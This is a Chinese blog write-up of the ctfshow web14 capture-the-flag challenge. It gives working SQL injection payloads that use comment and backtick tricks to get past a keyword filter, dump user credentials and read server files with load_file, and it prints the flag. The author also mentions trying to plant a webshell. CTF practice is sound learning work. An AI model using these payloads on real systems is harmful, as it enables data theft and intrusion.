ctfshow--web14 sql注入利用``的清奇的绕过

输入c=3就会跳出来这个url
image
复制并访问,看这个页面应该是sql注入
有注释可看,看看他过滤了哪些东西

image

点击查看代码
if(preg_match('/information_schema\.tables|information_schema\.columns|linestring| |polygon/is', $_GET['query'])){
		die('@A@');
	}

点击查看代码

查看库名 名字是web

query=-1/**/union/**/select/**/database()

image
做到这就卡住了,不知道咋绕过
上网查可以通过 ‘ 包裹的的方法来绕过,长见识了确实没见过还能这样写的

查看表名
query=-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema=database()

image

查看表字段
query=-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_schema=database()

image

查看所有id username 和password

点击查看代码
query=-1/**/union/**/select/**/group_concat(id,'----',username,'-----',password)/**/from/**/content

这告诉我secret在secret.php里面
**image
**

查看secret.php源码发现没反应,在f12控制面板里面出现代码了
query=-1/**/union/**/select/**/load_file('/var/www/html/secret.php')

image

再查看/real_flag_is_here
query=-1/**/union/**/select/**/load_file('/real_flag_is_here')

image

ctfshow{290d8246-58d6-4d3b-9a51-64d7a1517f20}

flag拿是拿到了,但是我想了想,我为何不直接通过mysql在secret.php里面写个一句话木马试试呢
但是发现好像不太行。估计是没有改写文件的权限

posted @ 2024-04-04 21:04  WSssSW  阅读(37)  评论(0编辑  收藏  举报